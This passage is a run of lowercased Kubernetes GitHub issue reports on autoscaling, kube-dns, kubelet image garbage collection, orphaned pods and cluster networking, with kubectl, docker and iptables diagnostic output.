and repeat.\r \r this issue was fixed with pr  53690.\r \r and reading the code i believe pr  53690 might be what is causing my issue; specifically this: https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/podautoscaler/horizontal.go l526\r \r the condition flat out denies the autoscaler from autoscaling  if scaleuplimit > hpa.spec.maxreplicas . \r \r i think the condition should be relaxed and the autoscaler should be allowed to scale all the way   up to    maxreplicas , that is, if the desired amount of replicas   is bigger than    maxreplicas , the autoscaler should scale   all the way to    maxreplicas .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t21:12:46z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.2-gke.1\ , gitcommit:\ 4ce7af72d8d343ea2f7680348852db641ff573af\ , gittreestate:\ clean\ , builddate:\ 2018-01-31t22:30:55z\ , goversion:\ go1.9.2b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : mac os\r - kernel  e.g.  uname -a  : high sierra\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r \r  \r >  \r after running  local-up-cluster.sh   on master branch , a new file named  kube-dns.yaml-e  left as a surprise. and the file is not matched by git ignore so it's tracked by git which is really disturbing. i tried to find out where it's created but failed. any one has a context w/ it?\r \r \r    \r on branch foo-branch\r changes not staged for commit:\r    use \ git add <file>...\  to update what will be committed \r    use \ git checkout -- <file>...\  to discard changes in working directory \r \r untracked files:\r    use \ git add <file>...\  to include in what will be committed \r \r         kube-dns.yaml-e\r    \r \r   environment  :\r \r - os  e.g. from /etc/os-release : darwin kernel version 17.6.0: tue may  8 15:22:16 pdt 2018; root:xnu-4570.61.1~1/release_x86_64 x86_64\r \r

please coordinate with sig-scheduling before working on this issue.   we want to avoid the situation where two people accidentally start work on the same fix.\r \r main tracking issue: https://github.com/kubernetes/kubernetes/issues/68951\r \r \r currently, the  cache/debugger  feature is set up at the end of  newconfigfactory    in  pkg/scheduler/factory/factory.go . this setup should be moved into its own helper function, preferably in the  cache/debugger  package.\r \r \r \r  \r  \r /help

the \ getting started from scratch\  guide states: \ ...where tag is the latest release tag, which can be found on the latest releases page.\ . so one would assume tag would be v1.0.3. but that doesn't work. it would be helpful to either tag these containers with versions or at to provide some lookup table for version/hash relation.

the new kube-dns implementation does not longer do any kind of validation for pod resource lookups   e.g.  8-8-8-8.whatever.pod.local.  . neither the existence of the ip nor namespace is validated and the record will simply contain the parsed ip address.  given the returned result will never change, the usage of the default ttl of 30s causes an unnecessary amount of dns queries in our network. using a much higher ttl will utilize our caches much better.  are there any objections to increase the ttl of resource records for pod name queries? i'm happy to contribute a pr.  @madhusudancs @artfulcoder

we used to collect logs from the docker healthchecker on cvm  supervisord logs here: http://gcsweb.k8s.io/gcs/kubernetes-jenkins/logs/kubernetes-e2e-gce/26005/artifacts/jenkins-e2e-minion-group-fh7q/ . we should do the same on gci  https://github.com/kubernetes/kubernetes/issues/34104 issuecomment-257737502 .

1b204d85a69641f8937edf6391add02eb40ce8b7 seems to have copied 100+ loc from  prometheus  https://github.com/prometheus/client_golang/blob/master/prometheus/http.go l289   to  metrics.go  https://github.com/kubernetes/kubernetes/blob/master/pkg/apiserver/metrics/metrics.go l84 .\r \r both projects are apache, but i think that the copyright header of metrics.go should be modified to add attribution for the prometheus authors.\r \r in only noticed this because i was working on a  library  https://github.com/felixge/httpsnoop  for instrumenting http.handlers and looked at existing implementations for inspirations. you might even want to consider using it, as it handles a few corner cases the current code is missing.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  pod   orphaned   container \r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:38:40z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:42:39z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : on-prem virtual machines\r -   os    e.g. from /etc/os-release : oracle linux server 7.3\r -   kernel    e.g.  uname -a  : linux node-03 4.1.12-61.1.14.el7uek.x86_64  2 smp wed oct 12 17:37:07 pdt 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kubeadm\r -   others  :\r \r \r   what happened  :\r \r node rebooted and now i'm left with several orphaned pod containers that can not be removed:\r \r    \r $ kubectl describe node node-03\r    \r \r    \r name:                   node-03\r labels:                 beta.kubernetes.io/arch=amd64\r                         beta.kubernetes.io/os=linux\r                         kubernetes.io/hostname=node-03\r taints:                 <none>\r creationtimestamp:      fri, 09 dec 2016 17:09:57 +0100\r phase:\r conditions:\r   type                  status  lastheartbeattime                       lasttransitiontime                      reason                          message\r   ----                  ------  -----------------                       ------------------                      ------                          -------\r   outofdisk             false   wed, 14 dec 2016 14:23:39 +0100         tue, 13 dec 2016 11:08:57 +0100         kubelethassufficientdisk        kubelet has sufficient disk space\r available\r   memorypressure        false   wed, 14 dec 2016 14:23:39 +0100         fri, 09 dec 2016 17:09:57 +0100         kubelethassufficientmemory      kubelet has sufficient memory avai\r lable\r   diskpressure          false   wed, 14 dec 2016 14:23:39 +0100         fri, 09 dec 2016 17:09:57 +0100         kubelethasnodiskpressure        kubelet has no disk pressure\r   ready                 true    wed, 14 dec 2016 14:23:39 +0100         tue, 13 dec 2016 11:08:57 +0100         kubeletready                    kubelet is posting ready status\r addresses:              172.18.0.136,172.18.0.136\r capacity:\r  alpha.kubernetes.io/nvidia-gpu:        0\r  cpu:                                   8\r  memory:                                32945120ki\r  pods:                                  110\r allocatable:\r  alpha.kubernetes.io/nvidia-gpu:        0\r  cpu:                                   8\r  memory:                                32945120ki\r  pods:                                  110\r system info:\r  machine id:                    8f9df86c6d4c4640a01315a3aa93790e\r  system uuid:                   3130e6b9-abbb-7570-dfef-5feceb6d6c93\r  boot id:                       0ed8e15e-eedf-452e-bb37-0c4ec5300a47\r  kernel version:                4.1.12-61.1.14.el7uek.x86_64\r  os image:                      oracle linux server 7.3\r  operating system:              linux\r  architecture:                  amd64\r  container runtime version:     docker://1.12.4\r  kubelet version:               v1.4.4\r  kube-proxy version:            v1.4.4\r externalid:                     node-03\r non-terminated pods:             9 in total \r   namespace                     name                                            cpu requests    cpu limits      memory requests memory limits\r   ---------                     ----                                            ------------    ----------      --------------- -------------\r   kube-system                   kube-proxy-amd64-rftgj                          0  0%           0  0%           0  0%           0  0% \r   kube-system                   traefik-daemon-f1ch3                            100m  1%        200m  2%        20mi  0%        30mi  0% \r   kube-system                   weave-net-b5skc                                 20m  0%         0  0%           0  0%           0  0% \r   minside-test                  aquaculture-api-1500734864-295sg                0  0%           0  0%           0  0%           0  0% \r   minside-test                  aquaculture-web-4169295420-ico9y                0  0%           0  0%           0  0%           0  0% \r   openam                        openam-2124051430-8q571                         0  0%           0  0%           0  0%           0  0% \r   openam                        opendj-1806529772-5g181                         0  0%           0  0%           0  0%           0  0% \r   openam-test                   opendj-1806529772-y38v9                         0  0%           0  0%           0  0%           0  0% \r   prometheus                    node-exporter-f085s                             0  0%           0  0%           0  0%           0  0% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted.\r   cpu requests  cpu limits      memory requests memory limits\r   ------------  ----------      --------------- -------------\r   120m  1%      200m  2%        20mi  0%        30mi  0% \r events:\r   firstseen     lastseen        count   from                                                            subobjectpath   type            reason          message\r   ---------     --------        -----   ----                                                            -------------   --------        ------          -------\r   49m           49m             1       {kube-proxy node-03}                    normal          starting        starting kube-proxy.\r    \r \r    \r $ docker ps\r    \r \r    \r container id  image                                             command                  created         status         names\r 3b30dbc83016  openam-fiskeridir:latest                          \ /var/tmp/scripts/sta\    51 minutes ago  up 51 minutes  k8s_openam.21e4d934_openam-2124051430-8q571_openam_f56c6f1b-c1e3-11e6-87ed-00163e282fd3_6414cfb6\r 5fe1ef397a0b  gcr.io/google_containers/kube-proxy-amd64:v1.4.4  \ /usr/local/bin/kube-\    52 minutes ago  up 51 minutes  k8s_kube-proxy.5b4bbd9_kube-proxy-amd64-rftgj_kube-system_ee2a3f2b-be29-11e6-87ed-00163e282fd3_579378fa\r 07c0f44714c6  opendj-fiskeridir:latest                          \ /opt/opendj/run.sh\      52 minutes ago  up 51 minutes  k8s_opendj.c7c66bb7_opendj-1806529772-5g181_openam_c0d5bd64-c16a-11e6-87ed-00163e282fd3_8d5023c8\r 2360be5cc3a5  gcr.io/google_containers/pause-amd64:3.0          \ /pause\                  52 minutes ago  up 51 minutes  k8s_pod.d8dbe16c_openam-2124051430-8q571_openam_f56c6f1b-c1e3-11e6-87ed-00163e282fd3_989216d0\r ac720760d2e3  opendj-fiskeridir:latest                          \ /opt/opendj/run.sh\      52 minutes ago  up 52 minutes  k8s_opendj.d9ce6b1d_opendj-1806529772-y38v9_openam-test_b2fd9095-c172-11e6-87ed-00163e282fd3_af1d1eb7\r 19f1aecefdda  gcr.io/google_containers/pause-amd64:3.0          \ /pause\                  52 minutes ago  up 52 minutes  k8s_pod.d8dbe16c_kube-proxy-amd64-rftgj_kube-system_ee2a3f2b-be29-11e6-87ed-00163e282fd3_e3f00776\r 1ee3474f97ad  gcr.io/google_containers/pause-amd64:3.0          \ /pause\                  52 minutes ago  up 52 minutes  k8s_pod.d8dbe16c_opendj-1806529772-5g181_openam_c0d5bd64-c16a-11e6-87ed-00163e282fd3_18724a2c\r a73061d2b526  minside-aquaculture-web:45                        \ npm run start:prod\      52 minutes ago  up 52 minutes  k8s_minside-aquaculture-web.4adecc44_aquaculture-web-4169295420-ico9y_minside-test_66dd0bbe-c1f4-11e6-87ed-00163e282fd3_a6ba650a\r c839f2f75702  minside-aquaculture-api:10                        \ npm run start:prod\      52 minutes ago  up 52 minutes  k8s_minside-aquaculture-api.f861cc30_aquaculture-api-1500734864-295sg_minside-test_e79ef4ed-c1f5-11e6-87ed-00163e282fd3_2a8dcd79\r 0654e86ad3b8  prom/node-exporter:v0.13.0                        \ /bin/node_exporter\      52 minutes ago  up 52 minutes  k8s_node-exporter.faa53ef4_node-exporter-f085s_prometheus_bf103f7b-c1f6-11e6-87ed-00163e282fd3_76ec72c3\r f47d50868cc5  gcr.io/google_containers/pause-amd64:3.0          \ /pause\                  52 minutes ago  up 52 minutes  k8s_pod.d8dbe16c_opendj-1806529772-y38v9_openam-test_b2fd9095-c172-11e6-87ed-00163e282fd3_1f630293\r e8a1d0c7a6e0  gcr.io/google_containers/pause-amd64:3.0          \ /pause\                  52 minutes ago  up 52 minutes  k8s_pod.d8dbe16c_aquaculture-web-4169295420-ico9y_minside-test_66dd0bbe-c1f4-11e6-87ed-00163e282fd3_d260e3cc\r 6ddcc1753f7b  gcr.io/google_containers/pause-amd64:3.0          \ /pause\                  52 minutes ago  up 52 minutes  k8s_pod.d8dbe16c_node-exporter-f085s_prometheus_bf103f7b-c1f6-11e6-87ed-00163e282fd3_9ba145ad\r 5313e7640973  gcr.io/google_containers/pause-amd64:3.0          \ /pause\                  52 minutes ago  up 52 minutes  k8s_pod.d8dbe16c_aquaculture-api-1500734864-295sg_minside-test_e79ef4ed-c1f5-11e6-87ed-00163e282fd3_dfc91fb2\r 5ea718b59217  weaveworks/weave-npc:1.8.1                        \ /usr/bin/weave-npc\      52 minutes ago  up 52 minutes  k8s_weave-npc.21949513_weave-net-b5skc_kube-system_ee42331c-be29-11e6-87ed-00163e282fd3_0ce1b0c5\r c969fb4da734  traefik:v1.1.1                                    \ /traefik --kubernete\    52 minutes ago  up 52 minutes  k8s_traefik-daemon.a8f6cded_traefik-daemon-f1ch3_kube-system_ee2a2e45-be29-11e6-87ed-00163e282fd3_caf3bab8\r e6bb8aa4f369  weaveworks/weave-kube:1.8.1                       \ /home/weave/launch.s\    52 minutes ago  up 52 minutes  k8s_weave.8143acc4_weave-net-b5skc_kube-system_ee42331c-be29-11e6-87ed-00163e282fd3_5238cdaf\r 7c53bcf241df  gcr.io/google_containers/pause-amd64:3.0          \ /pause\                  52 minutes ago  up 52 minutes  k8s_pod.d8dbe16c_traefik-daemon-f1ch3_kube-system_ee2a2e45-be29-11e6-87ed-00163e282fd3_b1b68ebb\r fc87c0151ed0  gcr.io/google_containers/pause-amd64:3.0          \ /pause\                  52 minutes ago  up 52 minutes  k8s_pod.d8dbe16c_weave-net-b5skc_kube-system_ee42331c-be29-11e6-87ed-00163e282fd3_b3161fdb\r

the title says it all. @jbeda knows what to do :smile:\r required for graduating  bootstrap tokens  https://github.com/kubernetes/community/pull/628  to beta in v1.8\r

\r i0905 20:53:34.195    k8s.io/kubernetes/pkg/volume/empty_dir\r i0905 20:53:34.195  pkg/volume/empty_dir/empty_dir_linux.go:54: constant 2508478710 overflows int32\r    \r https://github.com/kubernetes/kubernetes/pull/50072\r https://k8s-testgrid.appspot.com/misc cross-build\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-cross-build/3195\r \r ---\r cc: @kubernetes/sig-node-bugs @kubernetes/sig-node-test-failures @childsb @derekwaynecarr @eparis @smarterclayton @squall0gd\r  /

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r kubelet has a image gc loop that removes unused images when the disk usage exceeds a max threshold. it is possible to turn off image gc completely.\r \r however there are use cases where users require the time duration between pod scheduling and pod ready status to be the least. since kubelet gc will clean-up unused images, kubelet needs to re-pull the container image when starting up new pods.\r \r   what you expected to happen  :\r i should be able to mark certain container images or repositories which will not be affected by kubelet's gc. either by means of a flag or configuration file  json . kubelet should not remove those images even when it is unused. the onus of using this feature judiciously is with the administrator to apply this feature only to a very few container images that require such high performance.\r \r   how to reproduce it  as minimally and precisely as possible   :\r this is a new feature request.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i have kube cluster running in lxd containers 3.0.2, bridged setup installed with kubespray, what is my problem is that when trying to connect to service/pod, after 5 s it closes connections:\r i tried from lxd host to pod/services  mysql, nextcloud  also between pods\r \r    \r namespace        name                                           ready     status    restarts   age       ip              node       nominated node\r default          app-nextcloud-db-deployment-77d9d65c54-kxssw   1/1       running   1          32m       10.233.94.73    mylxd03   <none>\r default          app-nextcloud-deployment-5c8d5bddd5-wxvsl      1/1       running   1          32m       10.233.94.74    mylxd03   <none>\r ingress-nginx    nginx-ingress-controller-664f488479-p4jnv      1/1       running   1          1h        10.233.94.71    mylxd03   <none>\r kube-system      calico-kube-controllers-7dfb9f9958-q8sj7       1/1       running   1          1h        10.0.3.23       mylxd03   <none>\r kube-system      calico-node-lctrw                              1/1       running   1          1h        10.0.3.23       mylxd03   <none>\r kube-system      calico-node-nfdr9                              1/1       running   1          1h        10.0.3.21       mylxd01   <none>\r kube-system      calico-node-p7t5n                              1/1       running   1          1h        10.0.3.22       mylxd02   <none>\r kube-system      kube-apiserver-mylxd01                        1/1       running   1          1h        10.0.3.21       mylxd01   <none>\r kube-system      kube-apiserver-mylxd02                        1/1       running   1          1h        10.0.3.22       mylxd02   <none>\r kube-system      kube-controller-manager-mylxd01               1/1       running   1          1h        10.0.3.21       mylxd01   <none>\r kube-system      kube-controller-manager-mylxd02               1/1       running   1          1h        10.0.3.22       mylxd02   <none>\r kube-system      kube-dns-577f5c9d45-kt8np                      3/3       running   3          1h        10.233.102.67   mylxd01   <none>\r kube-system      kube-dns-577f5c9d45-xhc2q                      3/3       running   3          1h        10.233.119.3    mylxd02   <none>\r kube-system      kube-proxy-9ndn4                               1/1       running   1          1h        10.0.3.21       mylxd01   <none>\r kube-system      kube-proxy-jld2c                               1/1       running   1          1h        10.0.3.23       mylxd03   <none>\r kube-system      kube-proxy-xgl6s                               1/1       running   1          1h        10.0.3.22       mylxd02   <none>\r kube-system      kube-scheduler-mylxd01                        1/1       running   1          1h        10.0.3.21       mylxd01   <none>\r kube-system      kube-scheduler-mylxd02                        1/1       running   1          1h        10.0.3.22       mylxd02   <none>\r kube-system      kubedns-autoscaler-5db95c6cf5-2c4vr            1/1       running   1          1h        10.233.102.68   mylxd01   <none>\r kube-system      kubernetes-dashboard-789d954c6f-q64b8          1/1       running   1          1h        10.233.119.4    mylxd02   <none>\r kube-system      nginx-proxy-mylxd03                           1/1       running   1          1h        10.0.3.23       mylxd03   <none>\r metallb-system   controller-9c57dbd4-d8mjk                      1/1       running   1          1h        10.233.94.72    mylxd03   <none>\r metallb-system   speaker-svlkx                                  1/1       running   1          1h        10.0.3.23       mylxd03   <none>\r \r telnet 10.233.94.74 9000\r trying 10.233.94.74...\r connected to 10.233.94.74.\r escape character is '^ '.\r connection closed by foreign host.\r \r \r trying 10.0.3.21...\r connected to 10.0.3.21.\r escape character is '^ '.\r connection closed by foreign host.\r \r name                    type           cluster-ip      external-ip   port s           age\r app-nextcloud-service   loadbalancer   10.233.19.41    10.0.3.21     9000:30500/tcp   16m\r kubernetes              clusterip      10.233.0.1      <none>        443/tcp          1h\r nxtc-db-service         clusterip      10.233.15.166   <none>        3306/tcp         30m\r    \r interesting is that when i try to connect to dashboard or ingress controller it doesn't have this problem\r \r    \r  telnet 10.233.94.71 443\r trying 10.233.94.71...\r connected to 10.233.94.71.\r escape character is '^ '.\r \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r calicoctl node status\r warning: your kernel does not support swap limit capabilities or the cgroup is not mounted. memory limited without swap.\r calico process is running.\r \r ipv4 bgp status\r +--------------+-------------------+-------+----------+-------------+\r | peer address |     peer type     | state |  since   |    info     |\r +--------------+-------------------+-------+----------+-------------+\r | 10.0.3.22    | node-to-node mesh | up    | 19:54:02 | established |\r | 10.0.3.23    | node-to-node mesh | up    | 19:54:22 | established |\r +--------------+-------------------+-------+----------+-------------+\r \r calicoctl version\r warning: your kernel does not support swap limit capabilities or the cgroup is not mounted. memory limited without swap.\r client version:    v3.1.3\r build date:        2018-05-30t17:15:59+0000\r git commit:        231083c2\r cluster version:   v3.1.3\r cluster type:      kubespray,bgp,k8s\r \r kubectl logs kube-proxy-9ndn4 --namespace=kube-system\r \r w1030 19:53:47.227964       1 proxier.go:469  failed to load kernel module ip_vs with modprobe. you can ignore this message when kube-proxy is running inside container without mounting /lib/modules\r w1030 19:53:47.229580       1 proxier.go:469  failed to load kernel module ip_vs_rr with modprobe. you can ignore this message when kube-proxy is running inside container without mounting /lib/modules\r w1030 19:53:47.230347       1 proxier.go:469  failed to load kernel module ip_vs_wrr with modprobe. you can ignore this message when kube-proxy is running inside container without mounting /lib/modules\r w1030 19:53:47.231000       1 proxier.go:469  failed to load kernel module ip_vs_sh with modprobe. you can ignore this message when kube-proxy is running inside container without mounting /lib/modules\r w1030 19:53:47.231868       1 proxier.go:469  failed to load kernel module nf_conntrack_ipv4 with modprobe. you can ignore this message when kube-proxy is running inside container without mounting /lib/modules\r i1030 19:53:47.232843       1 server.go:448  version: v1.11.3\r i1030 19:53:47.242492       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_established' to 86400\r i1030 19:53:47.242710       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_close_wait' to 3600\r i1030 19:53:47.243253       1 config.go:202  starting service config controller\r i1030 19:53:47.243294       1 controller_utils.go:1025  waiting for caches to sync for service config controller\r i1030 19:53:47.243685       1 config.go:102  starting endpoints config controller\r i1030 19:53:47.243703       1 controller_utils.go:1025  waiting for caches to sync for endpoints config controller\r i1030 19:53:47.343538       1 controller_utils.go:1032  caches are synced for service config controller\r i1030 19:53:47.343859       1 controller_utils.go:1032  caches are synced for endpoints config controller\r \r i traced also iptables but i didn't found that any packet would be dropped\r \r iptables-save                                                                                                                                \r   generated by iptables-save v1.6.1 on tue oct 30 20:19:27 2018                                                                               \r  raw                                                                                                                                                          \r :prerouting accept  323532:91802767                                                                                                     \r :output accept  302838:79660610                                                                                                                               \r :cali-output -  0:0                                                                                                               \r :cali-prerouting -  0:0                                                                                       \r :cali-failsafe-in -  0:0                                                                                                          \r :cali-failsafe-out -  0:0                                                                                         \r :cali-from-host-endpoint -  0:0                                                                                                      \r :cali-to-host-endpoint -  0:0                                                                                        \r -a prerouting -m comment --comment \ cali:6gwbt8clxdhdc1b1\  -j cali-prerouting                                                          \r -a output -m comment --comment \ cali:tvnhkvao15huipy0\  -j cali-output                                                                                         \r -a cali-output -m comment --comment \ cali:njdnlwyegqbjymxw\  -j mark --set-xmark 0x0/0xf0000                                        \r -a cali-output -m comment --comment \ cali:rz86utucezaffsh7\  -j cali-to-host-endpoint                                   \r -a cali-output -m comment --comment \ cali:pn0f5zd0b8yf9w1z\  -m mark --mark 0x10000/0x10000 -j accept                                                          \r -a cali-prerouting -m comment --comment \ cali:xfx5xbm8b9qr10jg\  -j mark --set-xmark 0x0/0xf0000                             \r -a cali-prerouting -i cali+ -m comment --comment \ cali:ewmpb0zvrom-woqp\  -j mark --set-xmark 0x40000/0x40000                        \r -a cali-prerouting -m comment --comment \ cali:ek_rsnpunydlk3sh\  -m mark --mark 0x0/0x40000 -j cali-from-host-endpoint                                        \r -a cali-prerouting -m comment --comment \ cali:nm-dztfpwqbqvtrj\  -m mark --mark 0x10000/0x10000 -j accept                                                      \r -a cali-failsafe-in -p tcp -m comment --comment \ cali:wwfqm43tju7wwnfz\  -m multiport --dports 22 -j accept\r -a cali-failsafe-in -p udp -m comment --comment \ cali:lwnv--r8mjeuyacw\  -m multiport --dports 68 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:qoo5nuoqoss1_iw0\  -m multiport --dports 179 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:cwzwobswveiazmvn\  -m multiport --dports 2379 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:7fbnxt91kuge_upr\  -m multiport --dports 2380 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:ywe9wyubepve70wt\  -m multiport --dports 6666 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:l-wqsvbf_lygpr0j\  -m multiport --dports 6667 -j accept\r -a cali-failsafe-in -p udp -m comment --comment \ cali:k9jpbsnz833byntn\  -m multiport --sports 53 -j accept\r -a cali-failsafe-in -p udp -m comment --comment \ cali:h6bdkhxihjfdqfvi\  -m multiport --sports 67 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:zxyjjqrmkukxdhob\  -m multiport --sports 179 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:simwjhaxrpmahoeo\  -m multiport --sports 2379 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:hvk-re2in6cmdio-\  -m multiport --sports 2380 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:czejyl2nb2rlhrhj\  -m multiport --sports 6666 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:poam7ro8patnz_3v\  -m multiport --sports 6667 -j accept\r -a cali-failsafe-out -p udp -m comment --comment \ cali:82hjfji-wchfhaql\  -m multiport --dports 53 -j accept\r -a cali-failsafe-out -p udp -m comment --comment \ cali:tnm3rfejbnr72hgh\  -m multiport --dports 67 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:ycxkitil4u3dk0hr\  -m multiport --dports 179 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:hxjewyxdkxxkdvut\  -m multiport --dports 2379 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:ca_gltruuvg88kio\  -m multiport --dports 2380 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:sb1hklyfmrks6r01\  -m multiport --dports 6666 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:uwlsebgonjug4yg-\  -m multiport --dports 6667 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:r23cvaiw0rotmtyk\  -m multiport --sports 22 -j accept                                          223/1950 \r -a cali-failsafe-out -p udp -m comment --comment \ cali:d9ju-lf4zjkkttdd\  -m multiport --sports 68 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:5zdpohuwmrjzlzzl\  -m multiport --sports 179 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:jq44rynzfyowgr4q\  -m multiport --sports 2379 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:oigbcpr5gp0hw_y6\  -m multiport --sports 2380 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:iwxweitn771ftz2n\  -m multiport --sports 6666 -j accept\r -a cali-failsafe-out -p tcp -m comment --comment \ cali:ot9a94gzys2kttdj\  -m multiport --sports 6667 -j accept\r commit\r   completed on tue oct 30 20:19:27 2018\r   generated by iptables-save v1.6.1 on tue oct 30 20:19:27 2018\r  mangle\r :prerouting accept  976:70526 \r :input accept  301509:71082066 \r :forward accept  22036:20721337 \r :output accept  302856:79661546 \r :postrouting accept  324892:100382883 \r :cali-prerouting -  0:0 \r :cali-failsafe-in -  0:0 \r :cali-from-host-endpoint -  0:0 \r -a prerouting -m comment --comment \ cali:6gwbt8clxdhdc1b1\  -j cali-prerouting\r -a cali-prerouting -m comment --comment \ cali:6bjqbjbc7crta-7-\  -m conntrack --ctstate related,established -j accept\r -a cali-prerouting -m comment --comment \ cali:kx7agnd6rmcduai6\  -m mark --mark 0x10000/0x10000 -j accept\r -a cali-prerouting -i cali+ -m comment --comment \ cali:i3igoqzv8mrxgdz5\  -j accept\r -a cali-prerouting -m comment --comment \ cali:lgsun0vejq4dihbp\  -j cali-from-host-endpoint\r -a cali-prerouting -m comment --comment \ cali:iqld7mj2v-mvydd4\  -m comment --comment \ host endpoint policy accepted packet.\  -m mark --mark 0x10000/0x10000 -j\r  accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:wwfqm43tju7wwnfz\  -m multiport --dports 22 -j accept\r -a cali-failsafe-in -p udp -m comment --comment \ cali:lwnv--r8mjeuyacw\  -m multiport --dports 68 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:qoo5nuoqoss1_iw0\  -m multiport --dports 179 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:cwzwobswveiazmvn\  -m multiport --dports 2379 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:7fbnxt91kuge_upr\  -m multiport --dports 2380 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:ywe9wyubepve70wt\  -m multiport --dports 6666 -j accept\r -a cali-failsafe-in -p tcp -m comment --comment \ cali:l-wqsvbf_lygpr0j\  -m multiport --dports 6667 -j accept\r commit\r   completed on tue oct 30 20:19:27 2018\r   generated by iptables-save v1.6.1 on tue oct 30 20:19:27 2018\r  nat                                                                                                                                                 187/1950 \r :prerouting accept  1:60 \r :input accept  1:60 \r :output accept  19:1140 \r :postrouting accept  19:1140 \r :kube-fw-qknsg4pbsc46chcg -  0:0 \r :kube-mark-drop -  0:0 \r :kube-mark-masq -  0:0 \r :kube-nodeports -  0:0 \r :kube-postrouting -  0:0 \r :kube-sep-brmdtpynfarenuao -  0:0 \r :kube-sep-h6uqhhbe7ycrfuo5 -  0:0 \r :kube-sep-ikyurpit5z7se65v -  0:0 \r :kube-sep-jragqaa2i7alc3nj -  0:0 \r :kube-sep-odf7yukiisf3eylc -  0:0 \r 